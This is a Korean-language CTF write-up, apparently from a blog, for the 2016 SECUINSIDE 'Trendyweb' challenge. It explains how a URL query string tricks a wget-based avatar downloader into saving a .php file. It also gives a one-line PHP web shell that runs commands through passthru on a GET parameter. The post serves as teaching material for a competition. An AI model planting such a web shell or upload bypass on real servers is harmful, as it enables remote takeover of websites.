https://gist.github.com/Jinmo/e49dfef9b7325acb12566de3a7f88859


이 문제에서는 소스코드가 공개되어 있다.


소스를 살펴 보면 download_image 함수에서 url을 받아서 system 함수를 이용하여 wget을 실행하고 매개변수로 넘어간 url을 ./data/(sess_id)/avatar.png에 저장한다.


그런데 download_image 함수 내의 parse_url에서 path는 url 뒤의 파일 명과 파라미터가 나오긴 전까지만 긁어온다.


즉 www.test.com/test.php?a=wowow.php 를 적으면 /test.php만 파싱하여 가져온다.

이걸 가져와서 /avatar.png 인지 비교하고 system 함수에 넣고 wget으로 다운로드해버리는데 여기에서 문제가 발생한다.


여기서 간과한게 하나 있는데 wget으로 www.test.com/test.php?a=wowow.php를 다운로드 하게 되면 저장되는 파일명은 test.php?a=wowow.php로 저장이 된다.


따라서 파라미터 변조를 통해 파일 확장자가 조작이 가능하므로 서버에 avatar.png를 올려두고 www.server.com/avatar.png?test.php를 넘기면 avatar.png?test.php가 ./data/(sess_id) 경로 밑에 저장이 된다.


 따라서 웹쉘 업로드가 가능하게 된다.


이를 이용하여 avatar.png에 <pre><?php echo passthru($_GET[‘zairo’]); ?></pre>를 입력하고 서버로 웹쉘 업로드를 하여 원격 명령을 내릴 수 있다.








'CTF > 2016 SECUINSIDE CTF' 카테고리의 다른 글

[2016 SECUINSIDE CTF Writeup] Trendyweb(100)  (0) 2016.07.10

+ Recent posts